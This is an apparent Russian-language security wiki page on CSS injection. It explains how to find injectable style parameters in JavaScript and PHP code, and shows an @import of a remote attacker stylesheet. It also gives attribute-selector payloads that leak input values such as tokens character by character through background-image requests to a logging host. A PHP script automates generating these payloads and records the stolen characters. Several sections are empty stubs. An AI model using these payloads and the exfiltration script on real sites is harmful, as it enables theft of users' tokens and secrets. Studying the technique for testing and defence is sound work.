Cssi
CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.
Содержание
Поиск уязвимости
Загрузка из JS
HTML код страницы может редактироваться в зависимости от действий пользователя.
Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:
1 document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);
То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.
Загрузка из backend'а
Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.
Например:
1 <span style="color: <?php echo $_GET['color']; ?>">
В данном случае изучение очень похоже на поиск XSS.
Эксплуатация
Работает не во всех браузерах.
Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):
1 <style>
2 @import "http://hackersite.org/exploit.css";
3 </style>
Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).
Получение токенов
Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.
Firefox
В данном случае идет перебор параметра value поля input:
1 input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
2 input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
3 input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
4 ...
5 input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
6 ...
7 input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
8 input[value^=a]{ background-image:url(http://itsecwiki.org/log?z); }
9 input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
10 ...
11 input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
12 ...
И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.
Можно перебирать по одной букве.
Chrome
Автоматизация
<?php
1 /* Использование
2
3 http://site/cssinj.php?form=input&
4 param=value&
5 siteid=1337&
6 alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
7 word=fla
8
9 */
10
11 $alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
12 $word = '';
13 $siteid = '1';
14
15 if (isset($_GET['siteid'])){
16 $siteid = $_GET['siteid'];
17 }
18
19 //Если атака прошла успешно
20 if (isset($_GET['value'])){
21 file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
22 exit();
23 }
24
25
26 function url(){
27 return explode("?",sprintf(
28 "%s://%s%s",
29 isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
30 $_SERVER['SERVER_NAME'],
31 $_SERVER['REQUEST_URI']
32 ))[0];
33 }
34
35
36 if (isset($_GET['alph'])){
37 $alph = $_GET['alph'];
38 }
39
40 if (isset($_GET['word'])){
41 $word = $_GET['word'];
42 }
43
44
45
46 $alph_chars = str_split($alph);
47
48 foreach ($alph_chars as &$value) {
49 echo $_GET['form'] .
50 '[' .
51 $_GET['param'] .
52 '^=' .
53 $word .
54 $value .
55 ']{ background-image:url(' .
56 url() .
57 '?site_id=' .
58 $siteid .
59 '&value=' .
60 urlencode($value) .
61 "); }\n";
62 }
63
64 ?>
CSS inj -> XSS
Примеры
Полезные ссылки
https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)
Заметка: добавить про чтение токенов и PRSSI